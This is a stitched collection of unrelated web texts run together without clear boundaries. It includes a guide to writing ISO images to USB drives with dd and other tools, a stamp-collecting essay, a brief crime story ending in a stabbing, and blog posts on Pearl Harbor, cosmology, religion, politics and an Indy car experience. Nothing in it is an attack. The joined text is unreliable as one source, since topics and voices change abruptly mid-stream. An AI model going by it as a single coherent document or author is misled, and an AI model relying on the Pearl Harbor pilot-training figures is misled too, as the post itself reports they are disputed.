Use lsblk to check the correct device path of the USB drive you wish to use.
/dev/sda will likely be the internal drive. If only one USB device is plugged in, then you should see someting like this:
$ lsblk
sda 8:0 0 698.7G 0 disk
├─sda1 8:1 0 2.5G 0 part /boot
└─sda3 8:3 0 696.2G 0 part /
sdb 8:16 1 7.2G 0 disk
└─sdb1 8:17 1 7.2G 0 part
Use 'dd' to copy the ISO image to the drive. If you are in the directory containing the iso image, then you would use:
$ sudo dd bs=4M if=<iso file> of=/dev/sdX
Where <isofile> is the filename of the iso file, ending with the .iso extension, ie 'some-linux-distro-4.4-x86_64.iso' And X denotes the single most imporant part of this command. It signifies which drive to write the iso onto. Use the correct letter for your USB stick. MAKE SURE YOU GET THIS PART RIGHT. With the example above, in which the USB drive is /dev/sdb, then you would replace X with b - ignoring any numerical instances (sdb1, sdb2 etc.) If you were to accidentally type a, you would overwrite your interal HD, which would be bad and should be avaoided.
On Windows
For BIOS: Use win32diskimager -
For UEFI: Use rufu -
Note: None of these methods will have persistent storage. Care should be taken using dd, as it will overwrite whatever device specified after "of="
Creating a USB bootable drive using unetbootinEdit
Get unetbootin for Linux from and a distro iso file. On some distro's you may need to give unetbootin permission to run as a program.
Use a partitioning tool to create two ext2 partitions on your keypen.
The first should be 1.5 GB in size to hold the distro & should be bootable.
The second can use the remaining space on the drive and should be given the label live-rw (lower case, as typed). The distro will detect this and use it to store any changes you make.
Plug in the keypen & then use either mount or dmesg at a terminal to get the name of the first partition on the keypen.
Start unetbootin. Choose the 'Diskimage' option & click the box with three dots to get the file browser & choose the distro iso. Check to make sure that the correct drive (the first on your keypen) is chosen. Click OK & wait for the message that will tell the process is completed.
The first boot will be slower than subsequent boots.
Creating a USB bootable drive using UltraISOEdit
Open an ISO image with UltraISO and choose choose 'Bootable' -> 'Write disk image' to burn onto a bootable USB disk.
See alsoEdit |
Before the internet, before movies and TV shows, when the only entertainment was listening to radio, there is one kind of visual culture that people was interested in: stamps. From different time periods, different countries, stamps tell different stories. Through stamps, we can understand who and what is important to the country, painting and drawing style of the country, and the improvement of a country. Stamps are not only an art form, but also an educational. Stamps carry meanings through images goes to different locations and countries. Stamps can easily travel around the world; however, try to collect stamps from different countries is not as easy. Today, with the internet and email, stamps are not as necessary as before. However, for philately, stamps become even more valuable now.
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The Tree
There is an oak tree hulk standing on the banks of the River Wear in Durham City. The tree is dead and is black inside. It looks, for all intents and purposes, as though it was burned out after being hit by lightning. At one time there was a plaque on the tree supporting the local folklore that this was the tree in which Charles II hid after his defeat at the 1651 battle of Boscobel. It is true that the Durham tree is hollow and could be used as a hiding place, but as the battle took place near Worchester in the south of England while Durham is in the north; geography doesn’t support the legend. Charles’ epic escape from the battle field across England to find an eventual passage to France is a well recorded narrative; worthy of a Hollywood movie. It involves numerous disguises, many close calls, and imaginative hiding places including an oak tree. Boscobel Park now has a “Son of Royal Oak” grown from an acorn from the ‘original’ Royal Oak which was destroyed by visitors who gradually hacked it to pieces as each took their small souvenir. The tree on the Durham river banks is too large to have been one of those souvenirs although it could be a son or even grand-son of the original Royal Oak.
This tree was the reason that Zoe selected Prebends Bridge as her rendezvous spot. It stood close enough to the bridge to offer a good view of anyone standing on the east end. This point is the confluence of five pathways. There is the river bank path going upstream; the path going downstream, an oblique path climbing the steep river banks to a tunnel under the ancient monastery buildings leading to the cathedral close; the pedestrian only road across the bridge and its continuation up to the ancient city gate leading into the old Bailey. Zoe planned to conceal herself inside the tree’s charred interior so that she could watch whoever came to the bridge head. She had hidden there before and watched lovers ambling arm-in arm along the treed river banks. She had seen tourists, guidebooks in hand, staring up at the Norman cathedral perched on the promontory encircled by the river, and watched an elderly woman, who vaguely reminded her of her mother, with two white corgi dogs walking across the bridge, and then up the oblique steep path to the cathedral cloisters.
The only drawback to her place of concealment was that it smelt of urine; Zoe was not the only one who used the spot. She was careful not to touch the tree fearing that any contact might mar her clothing. She had arrived wearing a red combination summer / rain coat which she had now taken off and folded lining side out. Underneath she wore a pale green and white gingham summer dress with a flounced lace petticoat very much the fashion in 1960. Her brown hair fell to her shoulders with an elegant curl. It shone in the sun and haloed her youthful twenty-three-year-old face. She wore white pumps comfortable enough to walk in for she had walked to this spot from the home on the outskirts of the city where she worked as a live-in nanny. She arrived, several hours before their appointment at which time she didn’t mind being seen but now she felt that concealment was essential She was prepared with mace and a lethal looking kitchen knife both of which she clutched concealed in her purse.
At about 2:45 pm Alex appeared. He walked through the ancient city gate and ambled to the bridge head. He was a sturdy good looking youth with blond hair and clean complexion. He wore a white shirt and dark pants clearly his Sunday best. He stationed himself at this, their agreed meeting place, and waited. Zoe smiled to herself, this was a good sign. She waited and watched. He carried a blanket. She deduced that, somewhere along the banks, he intended to invite her to sit on it with him. She suspected that he’d start gently moving on to necking or more if she was complaisant. She imagined that he would willingly get her pregnant and the abandon her as her father had abandoned her mother.
“Men are all the same.” she told herself and clutched her purse tighter. She was waiting until she and Alex were the only people on the banks; for she didn’t wish to be seen with him. By well after 3:00 pm she saw her opportunity. By now Alex was becoming anxious. While he peered in the opposite direction she stepped out from her hiding place and walked toward him.
When he saw her he started, “Where did you come from?” He held out his hand in greeting. He smiled, “You arose like a nymph out of nowhere. How did you do it?”
“Oh, Alex,” she said, ignoring his question with a toss of her head, “I’m glad that you came. When we met at the rink I wasn’t sure.” She smiled her best coquettish smile while her hate for men simmered.
They exchanged a casual embrace and then Alex held her at arm’s length. “You look lovely. When I first saw, you gliding across the ice in your pristine white skates I knew, from your graceful movement, that you are special.” He sighed, “Now I see you clad in white shoes looking like a wood fairy. Will you walk with me along the river banks? If we go around the loop we will end up at Elvet bridge where we can have tea.”
“So sweet, so innocent; but not really! I know what he is up to, just like my Dad so many years ago. I won’t let myself get distracted by his nice gestures.” thought Zoe. She didn’t comment on his blanket but smiled as she slipped her arm into his. They walked slowly as she let him lead her along the exact path that she wished to take.
Three days later a jogger found his body wrapped in a blanket hidden in the undergrowth not far from the tow path. The cause of death was a lethal looking kitchen knife thrust up his rib cage into his heart. He appeared to have died without a struggle. |
Wednesday, December 7, 2016
Japan's losses at Pearl Harbor were catastrophic
Today is the 75th anniversary of the attack by naval forces of Japan against American installations at Pearl Harbor, Hawaii. Here are two little-known facts about Japan's operations against Pearl Harbor, Hawaii, and one better-known fact.
The destroyer USS Shaw explodes during the Imperial Japanese Navy's surprise attack on the morning of Dec. 7, 1941. The attack was a tactical success but its plan was a strategic failure from the beginning. In just a few hours that day, Japan's navy lost more than one-fourth of its annual pilot accessions.
Little-known fact 1, which I learned recently reading Jim Dunnigan's article about the perils of declining flight hours of present-day US Air Force pilots: "the 29 pilots [Japan's navy] lost at Pearl Harbor represented more than a quarter of the annual crop" of new pilots (emphasis added). The reason? Japan's navy pilot training and certification program was at that time the most rigorous and difficult in the world. A trainee pilot needed 700 certified flight hours just to attain minimum status as a full-fledged fleet pilot. In contrast, at war's start, three-fourths of US Navy fleet pilots had fewer total flight hours than the least-experienced Japanese navy pilot. [See endnote for further discussion about these figures and assessment.] But the Japanese navy had shot itself in the foot enforcing such high standards. Its commanders deliberately, though not unreasonably, pursued very high quality over very high numbers, knowing that their country could not successfully wage a long war. Their intention was to put into the air such superior pilots that no enemy pilots could prevail even with larger numbers.
Early in the war many American pilots called their Japanese counterparts "Hell on wheels," and for good reason.
But Japan's admirals did not account for the fact that their highly-skilled pilots would be just as vulnerable to American anti-aircraft fire as average pilots. They did not assess that American pilots, though not highly trained, would prove to be well trained. Consequently, in just the first year of the war the Imperial Japanese Navy lost so many pilots that it had to reform pilot accessions. By then it was too late. Japanese training flight hours steadily and finally sharply declined while US pilots' training hours steadily increased. In fact, from "late 1944 into 1945, nearly half the pilots in Japanese squadrons had flown fewer than 200 hours. The disparity of two years before had been completely reversed." The United States showed both in the Pacific and in Europe that it was possible to obtain both quantity and quality, but then, only the United States had both the human and material resources to do it. But it took time and cost many lives and aircraft. During the opening year or two of the war,
Despite such wartime exigencies, those American pilots did have an ever-increasing advantage that their enemies lacked: they were flying more and more hours in pilot training.
[T]he U.S. Navy was actually increasing its flight time, while keeping pilot training programs to about 18 months. In 1943, the U.S. Navy increased flight hours for trainees to 500, while Japan cut its hours to 500. In 1944, the U.S. hours went up to 525, while Japan cut it to 275 hours. In 1945, a shortage of fuel had Japanese trainee pilots flying only 90 hours before entering combat.
Only the United States had both the production capacity and the manpower to prevail under such conditions. "At its height in mid-1944, the Army Air Forces had 2.6 million people and 80,000 aircraft" and could absorb the loss of "14,903 pilots, aircrew and assorted personnel plus 13,873 airplanes — inside the continental United States" (emphasis added), or about 40 stateside accidents every day of the war. Another "43,581 aircraft were lost overseas" of which only a little more than half were combat losses.
But the same situation for both Japan and Germany was dire. "Through much of 1944, the Luftwaffe sustained uncontrolled hemorrhaging, reaching 25 percent of aircrews and 40 planes a month," an unsustainable loss rate for German industry and manpower to cope with, especially considering that Germany's aircraft plants were being bombed regularly. For both Germany and Japan, the main limiting factor in pilot training was fuel. Japan produced almost no domestic oil and America's submarine fleet priority-targeted Japan's tanker ships. It was very effective. Japan had rolled its dice on a short war. Its pilots took such severe losses in just a year that Japan's navy was never able to recover.
Little Known Fact 2: Japan's second air raid against Pearl Harbor was of much worse consequence strategically for Japan than the attack of 7 December 1941.
The Japanese "Emily" long-range flying boat. Equipped with eight bombs each, two set out for a night attack against Pearl Harbor on March 4, 1942.
Because there was no moonlight and it was raining, American air defenders could not locate the Japanese planes, though radar detected them.
The raid was a worse failure than merely not hitting the targets. It didn't take long for US naval intelligence to figure out that the flying boats had to have refueled at French Frigate Shoals, between Hawaii and Midway Island.
For the rest of the war, the US Navy made sure that Japan would never again use FFS for any reason. Only three months after this abortive air raid the US Navy sank four Japanese aircraft carriers and killed 2,500 officers and enlisted ranks at the Battle of Midway, losses that permanently placed Japan on the strategic defensive. Japanese intelligence had been convinced that the US could not defend against its fleet, mainly because USS Yorktown had been so badly damaged in May at the Battle of Coral Sea, where USS Lexington had been sunk. Yorktown did fight at Midway with full capability, though it was badly damaged by Japanese air attacks and was then sunk by a Japanese submarine.
Japan would have been better advised to use FFS as a station from which to refuel reconnaissance flights, not bombing missions, against Pearl Harbor. If so, it may have learned that Yorktown was en route to Midway along with two other carriers, and the outcome of the Midway battle might have been quite different.
Better-known fact: Japan's concentration on Dec. 7 against US Navy warships was incalculably bad planning and strategic analysis. Their target was the American fleet, mainly its aircraft carriers. But all the US carriers were at sea. The attacks against the US battleships were very successful, but they sank in shallow water, being moored next to Ford Island, and except for Arizona, and suffered relatively few deaths of crew. American airfields were also bombed and strafed, resulting in wholesale losses of American aircraft.
What Japan practically ignored was Pearl Harbor's logistic and shore-based, support facilities. In particular, attacks against fuel storage and transportation systems would have been devastating. I remember reading that the Navy assessed that such an attack would have mostly immobilized the Pacific Fleet for almost two years. (Since the battle, many historians have persistently reported that Japan's air commander, Mitsuo Fuchida, insisted to Admiral Chūichi Nagumo, commanding the strike fleet, that a third strike be launched against Pearl's oil infrastructure and dry-docks, but that Nagumo refused, ordering the fleet to withdraw since the at-sea US aircraft carriers' location was unknown. The problem with that account is that the raid's chief planner, Minoru Genda, maintained after the war that no third strike was ever planned or contemplated and that Fuchida never even broached the suggestion.)
IJN planners and admirals may have ignored the harbor's logistics vulnerabilities because they were mostly ignoring their own. David C. Evans and Mark R. Peattie argue in Kaigun: Strategy, Tactics, and Technology in the Imperial Japanese Navy 1887-1941 that Japan's main reason for taking over Borneo and other areas of the southwest Pacific was to secure oil supplies for the homeland - yet the IJN gave this requirement practically no consideration either of planning or equipping. "Before the war, Japan needed ten million tons of merchant shipping to meet its needs." Yet after hostilities began and merchant shipping was snapped up by other requirements,
Only 30,000 tons of tankers remained to ship the essential oil supply from Borneo to the refineries in Japan. This lack of attention to the very aim of the war – oil – helps to explain why the oil supplies at Pearl Harbor were never targeted. The refusal to deal with logistics and mobilization issues affected the conduct of the war from the very beginning.
Japan's high commanders, with very few exceptions, simply did not deal with such matters for themselves, and this nearly automatically led them to ignore such issues regarding their enemies. The most serious catastrophe for Japan at Pearl Harbor was its short-term focus on ships as targets. Before the war, Admiral Isoruku Yamamoto, commander of the Imperial Japanese combined fleet, argued strongly against going to war with the United States. He told the high command, "I shall run wild considerably for the first six months or a year but I have utterly no confidence for the second and third years." He was optimistic. In fact, the Japanese navy won battles for only four more months.
And that can be largely blamed (or credited, take your pick) on the tactical, rather than strategic focus of the Dec. 7 attack. Japan's lack of a national grand strategy or even the rudiments of deep strategic thinking are illustrated by asking one simple question: Why attack Pearl Harbor at all? Sherman Miles, who was serving at the highest level of the War Department on the day, wrote only three years after the war,
Japan's rulers seem to have simply assumed that the US would militarily block Japan's actions against the nations or European-ruled territories of the southwest Pacific area. But that betrays a severe misunderstanding, nay outright ignorance, of America's domestic politics and naval capabilities.
Japan's invasion of the US-ruled Philippines, started the same day as the Pearl Harbor attack, would certainly have evoked American military countermeasures. But what and for how long and with what result? The Navy Department did not conceive of the US Pacific Fleet as a force-projection fleet, but as a deterrent against Japanese movements against Hawaii and the American mainland. Hawaii was at that time considered to be the far-western bulwark against Japanese expansionism. In fact, says Miles, "I remember Admiral Kelly Turner expressing in a British-American staff conference, six months before Pearl Harbor, his confidence in our ability to hold the Japanese Navy in home waters simply by having our fleet cruise in the mid-Pacific." Moreover, US naval opposition to Japan's moves would have been militarily impossible, not just politically:
Solving the problem "more tragically" means simply that had the Pacific Fleet attempted to engage Japan's navy on the open sea, it would have lost more severely than at Pearl Harbor, with ships, including our few aircraft carriers, sunk to the deep ocean bottom and enormously higher losses of crews. Such a likely outcome was explicitly stated by Admiral Chester Nimitz in 1964:
... Admiral Chester Nimitz, who took over as commander of the Pacific Fleet three weeks after the attack, concluded that "it was God's mercy that our fleet was in Pearl Harbor on December 7". If [Admiral Husband] Kimmel [commanding the Pacific Fleet on Dec. 7] had "had advance notice that the Japanese were coming, he most probably would have tried to intercept them. With the difference in speed between Kimmel's battleships and the faster Japanese carriers, the former could not have come within rifle range of the enemy's flattops. As a result, we would have lost many ships in deep water and also thousands more in lives." ... This was also the assessment of Joseph Rochefort, head of Station HYPO, who remarked the attack was cheap at the price.
Nimitz was clear that the fate of Pearl Harbor's fleet engaging the IJN on the open sea would have been its destruction. Station HYPO, btw, was the "United States Navy signals monitoring and cryptographic intelligence unit in Hawaii during World War II." One must wonder why Japan did not leave the US fleet alone at Pearl and make its moves against the Philippines and elsewhere, wait for the US fleet to sally forth, and then destroy it on the open ocean. That had after all been the IJN's basic planning template for 20 years. Miles explains that American Army and Navy planners badly and consistently underestimated Japan's military capabilities and skills. Might the Japanese have overestimated those of the Americans? This despite the fact that the US fleet of late 1941 was a mere shadow of that which would turn the entire Pacific Ocean into an American pond by the end of 1944.
The IJN's overarching strategy was called kantai kessen, "decisive battle." It came from Japan's resounding naval defeat of Russia in 1905 in the Russo-Japanese war's Battle of Tsushima. It was postulated on drawing an enemy into a single engagement where the enemy fleet would be crushed by attacking Japanese battleships and cruisers. Even though by the mid-1930s forward-looking Japanese officers knew the aircraft carrier and modern submarines had rendered the kantai kessen doctrine obsolete, they were neither numerous nor senior enough to change the high command's steadfastness to it.
Their basic plan since the 1920s was this: The decisive battle would take place north of the Marianas Islands within easy sailing distance by the Japanese Combined Fleet with total offensive combat operations phased over two weeks. Yet this long-held, well-developed operational concept was abandoned in favor of a three-hour air raid. Why?
Japan's Pacific empire before the Pearl Harbor attack
The answer is that they thought the attack against the US fleet at Pearl Harbor would be decisive, at least decisive enough to enable Japan to conquer its new targets and cement an unbreakable hold on them. But of course, this was a fatally-flawed calculation. Military historian Gary A. Gustafson summarized Japan's strategic deficiencies thus:
Miles says that neither America's estimate (overly low as it was) of Japan's abilities nor the disadvantages accruing to America if America bore the burden of initiating war with Japan (in response to its new territorial seizures) were lost on the American War and Navy Departments. They agreed that the US would go to war with Japan sooner or later.
The high command of our Army and Navy thought they had prepared for either eventual or immediate war, so far as it was humanly possible to do so. But still it was difficult to predict, and indeed we did not predict that the Japanese would commit so great a blunder as Pearl Harbor, gratuitously unifying the war spirit and potential of America. We overestimated their intelligence. That blunder in the realm of high policy eventually cost Japan her empire. But that was not all. On the lower plane of tactics the Japanese decision to attack Pearl Harbor by surprise involved enormous risks. As [US Army Chief of Staff] General Marshall later testified: “A surprise is either a triumph or a catastrophe. If it proved to be a catastrophe, the entire Japanese campaign was ruined.”
General Marshall understated the result. Not just a campaign but Japan itself, as a whole, was ruined by the catastrophe of its attack on Pearl Harbor. Update: Business Insider has a good photo essay of the attack. So does the Buffalo (NY) News. Update, Dec. 9: Retired US Navy Commander Dr. Alan D. Zimm of the Strike Systems Analysis Group of The Johns Hopkins University's Applied Physics Laboratory emails an inquiry of the claim, above, that Japanese navy pilots were as highly trained as I indicate, and that his own information is that,
... before Pearl Harbor, basic flight training for Japanese aviators was about 400 hours. This did not include any advanced flight training or tactical training. Advanced training and tactical training, and thing like gunnery training, was accomplished at the operational unit level. As a preliminary to Pearl Harbor, most of the aviators below the Daitai leadership level (some of which were China veterans) got an additional 100 hours of training, that brought their average flight hours up to about 500-600 hours.
So I am sending him my source citation and we'll see where this shakes out. Dr. Zimm also has online at the US Naval Institute a very interesting article on how the Japanese air commander at Pearl, Commander Mitsuo Fuchida, botched the air raid significantly by signaling the strike aircraft that surprise attack had not been achieved (which it certainly had been), how this error reduced Japanese effectiveness, and how Fuchida tried to CYA about it after the war. See, "Commander Fuchida's Decision." Further, Dec. 14: Dr. Zimm holds in very high suspicion the figure of 700 training flight hours that Jim Dunnigan reported and that I used near the beginning of this post. Dr. Zimm says via email that the characterization of Japanese pilot training as "the most rigorous and difficult in the world" is also not justified by other Japanese accounts:
Two examples: the Shokaku and Zuikaku aviators could not get night flying certified, and so the launch time of the attack had to be put back to dawn, from the original concept that the attack would launch in the dark and arrive over Pearl Harbor at dawn.
The second is that the Zero pilots got very little gunnery training before Pearl, because they had to concentrate on launch and recovery, deck handling, and basic airmanship such as formation flying.
This caused me to revisit the autobiographical account of the highest-scoring Japanese ace of the war, Saburo Sakai, who scored 64 kills, four of them after recovering from grievous wounds, including being blinded in one eye. His account is in the book, Samurai, as told to US aviation historian Martin Caiden. Sakai does not discuss in very great detail his months of flight training. So a point summary from chapter 3 is:
• Constant aggressiveness was drilled into them and enforced ruthlessly, but this training was nt oriented toward actually flying a plane. It was a quality desired, not a skill.
• The first month was ground training, after which began primary flight lessons.
• The total course length was 10 months, during which 45 of the original 70 pilot trainees washed out.
• There was no physical punishment (such as beatings, which were commonplace in Japanese training) because the trainee's fear of being dropped made it unnecessary. One trainee was expelled literally the evening before graduation for a rules infraction.
• The physical training courses were "among the severest in Japan" and included difficult swimming requirements (which makes sense for naval pilots).
• This training including diving lessons to improve sense of balance for later aerobatics. Diving was from high platforms into water and later onto the ground from height, always required to land on their feet. "Naturally, there were errors - with disastrous results."
• Acrobatics was taught for the same reasons.
In chapter 4: "Despite our excellent and arduous instruction, several pilots from my group [graduating class] were later killed by enemy pilots before gaining even a single victory." In fact, Sakai was the only pilot of his class to survive the war. After graduation he and the others were assigned to units for "service training." The pilots already there, he said, had skills that were "astonishing." This phase lasted three months, consisting of carrier qualifications and land-based flying and combat training. He found carrier landings especially challenging to master, though for the whole war he never flew even one combat mission from a carrier. So was the training of Japanese pilots rigorous and difficult? Unquestionably. The IJN received 1,500 applicants for a place in Sakai's training class, accepted 70 and graduated 25. The course's rigor and difficulty can't be denied, but what can be questioned, as I believe Dr. Zimm is doing, is whether its rigor and difficulty were actually all that beneficial for combat performance. This is highly open to question. That at least some was can't be gainsaid; Sakai points out that developing very fast reflexes and improving eyesight cognition were literally lifesavers in battle. But it's pretty unclear what somersault dives from 10 meters onto hard ground deliver besides some unnecessary casualties. Here is what Sakai says about this post's topic, however:
And I will let that be the last word.
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Monday, September 26, 2016
What is "nothing?" No one knows
What Is The Physics Of Nothing?
When we want to talk about nothing, our conceptions take us outside of space and before the Universe began, yet does that even make sense? How can you talk about “outside” when you don’t have space? How can you talk about “before” anything if you don’t have time?
And yet, whatever “nothingness” truly is, it contains the entire Universe. (Philosophically, this is a longstanding tenet of Buddhism.)
Many physicists claim that there’s no way to understand anything, fundamentally, until we understand nothing. And although our understanding of it is partial — which is to say, we understand the fundamental, basic laws of nature that govern empty spacetime — we don’t understand from whence those fundamental laws arise, and whether they themselves are a “thing.”
Here's the problem. The universe began with the Big Bang, but this term is misleading. The Big Bang was not an explosion of the universe coming into being as we usually think of explosions. Because of the uniformity of cosmic background radiation across all the observed universe, physicists say that everything that exists started off together. But the origin was only a point and this point was not in space (since space didn't exist yet) and not in time (since time time didn't exist yet). Hence, they call it a "singularity," but all that means is "we don't know." They may as well call it a huffelump or farfsnegoplin.
The problem with this theory is the problem of inflation. No, not what we await happening to our currency, but the unimaginably small time that began the universe. Most people know that the universe is expanding, but not many non-astronomers are familiar with the theory of inflation, which reveals that the term "Big Bang" is misleading, Instead, says NASA's "Universe 101" web site, the universe's creation "is better thought of as the simultaneous appearance" of the universe everywhere there is the universe.
Inflation theory holds that the universe went from nothing at all to more than 99 percent of its present size in less than one-billionth of a billionth of a second – which is to say, instantly. So while empirical data, especially the uniformity of cosmic background radiation, support the conclusion that the universe began from a single point, from any reasonable human perspective there was no explosion. The universe simply appeared everywhere at once, instantaneously.
While no illustration can really represent the very technical theories here, the "nothing" problem can be thought of as, "What is outside the cone?" That is, if you go to the farthest point of the universe, what is one meter beyond that?
The Einsteinian answer is that because matter, the universe, curves space, there is no such thing as the "farthest point" of the universe except in a relative way, and that there is no "one meter" beyond that because there is no beyond at all. But this answer does not satisfy present-day physicists.
A few things are certain: we have not always existed; we will not always exist; we exist right now. Whatever nothingness truly is, we are all something right now. And whatever exists right now, it did, at some level, come from nothing, no matter how you define nothing. And as best as we understand the Universe, it will return to a state approaching an infinite, physical nothingness as well. But as to just what the nature of the ultimate “nothingness” truly is? That’s still, perhaps, the secret we’re all fundamentally searching for.
Thursday, September 15, 2016
How we perish in Paradise
From Wrath of Gnon:
Richard Fernandez:
... words and history have surprisingly little force. They convince people headed for the cliff not in the least. People only believe in consequences when it happens to them. Then remorse kicks in piteously and it is "Oh God save me and I will never do it again." ...
That's why the stories in the Bible have a depressing sameness. They always involve idiots who mess up and persecute every prophet sent to warn them until disaster strikes and then it's "help! Help!" We honor the prophets only after we bury them. Before that they're too busy making a getaway from us.
The story of mankind is the tale of someone who wakes up in Paradise and decides to burn it down. Happens every time. It doesn't matter that the survivors wrote it all down for our edification, because we'll just stop reading the Bible and watch some 'reality' TV show. ...
Each time mankind gets up from catastrophe it says "mebbe this time, maybe next time." Maybe never.
George Bernard Shaw once observed, ""We learn from history that we learn nothing from history." This is true, but incomplete. Why do we not learn from history? Perhaps this passage from A Canticle for Leibowitz by Walter Miller is a clue:
We burn down paradise over and over because we cannot tolerate it in fact, only in wishing. But now I am not confident that we even yearn for it. I see the state of the 2016, North American church and I realize that we have not moved a tick on the chart closer to embodying the Kingdom of God than our ancestors of 1916. Or 1816. Or 1416. And the record of the ancient Jews shows that they never did, either.
If civilizations are never murdered but commit suicide, we are well underway. I would call upon the North American Church to re-fulfill its calling, but this assumes that it ever did fulfill it to begin with and that our failures are of recent vintage. Of the former I cannot recite much evidence and of the latter I cite the 1963 “Letter From Birmingham Jail,” by Martin Luther King, Jr. in which he lamented,
The contemporary church is often a weak, ineffectual voice with an uncertain sound. It is so often the arch-supporter of the status quo. Far from being disturbed by the presence of the church, the power structure of the average community is consoled by the church’s silent, or often vocal, sanction of things as they are.
But I am trying to discern an historical time when this was not the case and I cannot.
Plato and Moses alike would be stunned (or maybe not) that the human race has learned nothing in the last few thousand years. Neither the ancient Jews nor Christians of the last 2,000 years have been reliably faithful to their Covenants. Our histories are of occasional faithfulness to our Covenants and then usually-prolonged abandonment of them. The main difference is that the Jews understood themselves better than we Christians have. Over and over we have had to learn what St. Paul wrote to the church in Galatia: "God can't be disregarded. You will harvest what you plant."
Brothers and sisters, the harvest is coming in. It is coming in good and hard. For the severest punishment God ever lays on us is to let us have what we want.
Update: Near the end of his life, John Wesley, principal founder of the Methodist movement, understood that the "people called Methodist" would not disappear after his death, but he nonetheless was filled with some foreboding:
But he foretold what would happen only a few paragraphs later:
9. It nearly concerns us to understand how the case stands with us at present. I fear, wherever riches have increased, (exceeding few are the exceptions,) the essence of religion, the mind that was in Christ, has decreased in the same proportion. Therefore do I not see how it is possible, in the nature of things, for any revival of true religion to continue long. For religion must necessarily produce both industry and frugality; and these cannot but produce riches. But as riches increase, so will pride, anger, and love of the world in all its branches.
10. How, then, is it possible that Methodism, that is, the religion of the heart, though it flourishes now as a green bay-tree, should continue in this state? For the Methodists in every place grow diligent and frugal; consequently, they increase in goods. Hence they proportionably increase in pride, in anger, in the desire of the flesh, the desire of the eyes, and the pride of life. So, although the form of religion remains, the spirit is swiftly vanishing away.
And what is the UMC today? Only formally the United Methodist Church, for in habit and thinking more and more Upper Middle Class (of whom I include myself, so I throw no darts that do not boomerang back to me).
Tuesday, September 13, 2016
The ruins of the Meathead Generation
There was a hugely popular TV series in the 1970s called All in the Family, starring Carroll O'Connor as Archie Bunker, a blue-collar northeasterner of very outspoken traditional values. Rob Reiner played his son-in-law, Michael, very liberal, unemployed (a permanent student), who lived in Archie's house along with his wife, Archie's daughter (of course).
Archie called his son in law "Meathead," and viewing only one episode convinced you why. Reiner's character was a snooty, self-impressed, never-wrong, empty-headed jerk.
Very recently, Reiner, whose intellect and personality show that he was perfectly cast as Michael, disparaged people with political views unlike his as uneducated, ignorant, racist know nothings, etc. What Reiner's smug tirade shows is what has happened with what some commentators have called the "Meathead Generation," which makes sense:
Meathead was a loudmouth know-it-all boomer, who enjoyed lecturing his father-in-law about the terribleness of America and the men that had made the country. The irony was that Meathead lived off the people he ridiculed. Archie, the patriarch, worked and paid the bills while his daughter and son-in-law lived in his house. It was a perfect metaphor for what was happening in the country. The parasites were determined to kill the host, but in the mean time they were perfectly willing to enjoy the fruits the host had accumulated.
Years ago, the great Paul Gottfried remarked that the country had long been taken over by the Meathead generation and their ethics. The Archie Bunkers were all gone. By that he meant traditional working and middle class America had been lost and the country was now run by fashionable liberals, who occupied the first ruling elite in history to be actively working to destroy the foundation on which it rests. Look around the culture and all the high ground is occupied by degenerate boomers, who carry on as if it is still 1968. [HT: American Digest]
Which is pretty interesting because I am a early mid-term Boomer. Having lived a year into my seventh decade now, I want to avoid sounding like one of those old geezers who says, "Back in my day . . ." But I will say, well, that back in my day my peers and I were actually taught Truth existed that was not mere opinion and was still true whether it made you happy, sad, angry or contented. We did believe, and I still do, that there was (and is) such a thing as absolute truth, like it or not.
Yes, the idea of absolute truth was closely linked to religious belief and that just what absolute truth was differed between religions and often between even denominations of a religion. My point here is not what declarations are or are not absolute truth, but that across the great majority of Americans there was conceptual agreement that there was such a thing as absolute truth, even if we did not all agree on the particulars.
That conceptual agreement is gone today.
• In 1997, 50% of Christians and 25% of non-Christians said that there are moral truths which are unchanging, and that truth is absolute, not relative to the circumstances.
• In 2000-JAN, they found that 38% of adult Americans believed that absolute true exists.
• Later in 2000, 40% of individuals involved in a Christian disciplining process believed that there is no such thing as absolute moral truth.
• In 2001-NOV, another Barna poll showed that adults believing in absolute truth had dropped almost in half -- to 22%.
In short order, the idea of absolute truth was replaced by relative truth, that declarations could be true based on their circumstances, or that a statement might be true for Thelma but not for Louise. The problem is not that this idea of truth has no validity; the conceptual affirmation of absolute truth never meant that nothing was true unless it was absolutely true. The problem is that relative truth has come to be affirmed as the only kind of truth there is.
That means that truth is nothing more than opinion. And if there is no Truth, there is no falsehood, either. Yet something must serve as the basis for making decisions, especially moral decisions. Hence the rapid downhill slide to this: "Americans Are Most Likely to Base Truth on Feelings."
Truth Is Relative, Say Americans
The gap between teen and adult views was not surprising, however, when the adult views are considered by generation. While six out of ten people 36 and older embraced moral relativism, 75% of the adults 18 to 35 did so. Thus, it appears that relativism is gaining ground, largely because relativism appears to have taken root with the generation that preceded today’s teens. ...
The surveys also asked people to indicate the basis on which they make their moral and ethical decisions. Six different approaches were listed by at least 5% of the teenagers interviewed, and eight approaches were listed by at least 5% of adults. In spite of the variety communicated, there was a clear pattern within both groups. By far the most common basis for moral decision-making was doing whatever feels right or comfortable in a situation. Nearly four out of ten teens (38%) and three out of ten adults (31%) described that as their primary consideration.
That article was published in 2002. Since then, the trend has only intensified. Note that sentence, "... relativism is gaining ground, largely because relativism appears to have taken root with the generation that preceded today’s teens." In the intervening 14 years, we have begun our third generation of truthlessness. I am a Boomer so the move to relativism began in my generation, the Boomers born after me, I am guessing, which would be the majority of them. At the time this article was published, Boomers' kids were barely in their teens at the young end and 50-plus at the old.
From the idea that all truth is relative (which is a self-contradictory statement when you think about it) is a short slide to three highly dysfunctional beliefs and practices, about which more another time:
1. With no idea of transcendent authority, human relationships become merely contests of power.
2. Religion is suppressed but the inherent religious nature of humanity simply finds other outlets.
3. Human life is meaningless and serves no higher purpose because there is no higher purpose to serve.
Friday, September 9, 2016
When I drove an Indy Race car
I cashed in my gift certificate yesterday to the Mario Andretti Racing Experience. It was at Kentucky Speedway. The weather was perfect, sunny and temps in the high 70s for my slot with the 10 a.m. group. I had eight minutes of driving time. Details after the video; the camera was a GoPro (model unknown) mounted just aft the top of my head:
Okay, here is some information you will want to know before you decide to buy. They will tell you all this in your pre-drive class, but it's good to know ahead of time:
1. This is, just as advertised, a real race car. It had slight mods for use by the non-professionals who will be driving it, but otherwise, it's the same as the cars you see every Memorial Sunday at the Brickyard.
1. One of the mods is that you do not shift gears. The instructor explained that the transmissions are four-speed but they have fixed them in fourth gear because they got tired of repairing transmissions. So when they start your car they push you from the rear with a large ATV while you push the clutch pedal to the floor. When your driving controller, speaking to you by radio, tells you to let off the clutch and give it some gas, the motor engages and off you go.
